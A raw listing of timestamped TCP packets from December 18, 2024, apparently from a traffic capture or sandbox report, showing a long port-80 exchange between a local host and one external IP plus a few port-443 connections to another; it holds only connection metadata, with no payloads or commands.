Dec 18, 2024 17:08:21.733261108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.733355045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.733406067 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.734195948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.734253883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.734302998 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.734360933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.735191107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.735244989 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.735362053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.735411882 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.736331940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.736391068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.736443996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.736496925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.737344980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.737399101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.737492085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.737541914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.738392115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.738445044 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.873603106 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.873775005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.873790979 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.873864889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.873881102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.873995066 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.874916077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.875065088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.875159025 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.876105070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.876163960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.876216888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.876327991 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.876960039 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.877028942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.877070904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.877173901 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.878107071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.878189087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.878253937 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.879199028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.879323959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.879410028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.880373955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.880487919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.880543947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.881345987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.881464005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.881520033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.882440090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.882571936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.882651091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.883575916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.883635998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.883729935 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.884654045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.884710073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.884749889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.885675907 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.885679007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.885796070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.885849953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.886785030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.886970043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.887026072 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.887895107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.887995958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.888075113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.889107943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.889169931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.889269114 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.890089989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.890170097 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.890264034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.891168118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.891247988 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.891319990 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.891382933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.892422915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.892992020 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.893065929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.893838882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.893891096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.893960953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.894592047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.894656897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.894787073 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.895945072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.896013975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.896142006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.897093058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.897142887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.897161007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.897516966 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.898102999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.898140907 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.898205996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.899012089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.899157047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.899223089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.899971962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.900089979 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.900154114 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.901072025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.901201010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.901246071 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.901274920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.902126074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.902367115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.902420998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.903217077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.903356075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.903414965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.904328108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.904687881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.904757977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.905483961 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.905570030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.905666113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.906663895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.906754017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.906832933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.907619953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.907704115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.907752037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.908663034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.908727884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.908746958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.909276962 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.909733057 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.909904003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.909967899 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.910864115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.910985947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.911051035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.911983013 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.912043095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.912111044 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.913095951 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.913160086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.913239956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.914261103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.914304018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.914323092 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.915344000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.915407896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.915553093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.915610075 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.916502953 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.916728020 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.916790009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.917490959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.917565107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.917625904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.918515921 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.918633938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.918699980 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.919598103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.919666052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.919714928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.920701981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.920800924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.920833111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.921070099 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.921768904 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.921848059 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.921957016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.922008038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.922894955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.922961950 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.923363924 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.923549891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.923938036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.924052000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.924073935 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.924230099 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.925040007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.925120115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.925200939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.925256014 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.926181078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.926249027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.926284075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.926609993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.927237988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.927310944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.927386045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.927506924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.928455114 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.928508997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.928574085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.928647041 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.930002928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.930174112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.930249929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:21.931029081 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:21.933270931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.057385921 CET	443	49764	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:22.057483912 CET	443	49764	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:22.057619095 CET	49764	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:22.060095072 CET	49764	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:22.060136080 CET	443	49764	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:22.065149069 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.065237045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.065403938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.065403938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.065669060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.065789938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.065865040 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.066734076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.066934109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.067023993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.067835093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.067982912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.068052053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.068841934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.068970919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.069214106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.070054054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.070188999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.070255995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.071036100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.071170092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.071238995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.071237087 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:22.071299076 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:22.071398973 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:22.071784019 CET	49778	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:22.071800947 CET	443	49778	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:22.072158098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.072235107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.072289944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.072355032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.073260069 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.073376894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.073441982 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.074467897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.074562073 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.074650049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.075719118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.075789928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.075830936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.077078104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.077146053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.077244043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.078429937 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.078496933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.078562021 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.078619957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.079575062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.079691887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.079760075 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.080553055 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.080657959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.080723047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.081624985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.081789970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.081856012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.082663059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.082724094 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.082770109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.083738089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.083803892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.083848000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.084768057 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.084830999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.084916115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.084971905 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.085738897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.085994005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.086056948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.086730957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.086884022 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.086946011 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.087815046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.087877035 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.087944984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.088655949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.088733912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.088745117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.089643955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.089673996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.089704990 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.089772940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.090893984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.090974092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.090986967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.091809034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.091872931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.091913939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.091970921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.092875957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.093005896 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.093069077 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.094027996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.094119072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.094183922 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.095202923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.095271111 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.095334053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.096183062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.096246958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.096297026 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.097312927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.097327948 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.097361088 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.097409964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.097465038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.098387003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.098510981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.098573923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.099535942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.099642992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.099705935 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.100584030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.100645065 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.100719929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.101680040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.101692915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.101723909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.101780891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.102767944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.102830887 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.102879047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.103883982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.103950024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.103996992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.104051113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.104978085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.105110884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.105173111 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.106121063 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.106501102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.106595993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.107131958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.107213020 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.107285976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.108166933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.108234882 CET	49771	80	192.168.2.4	31.41.244.11
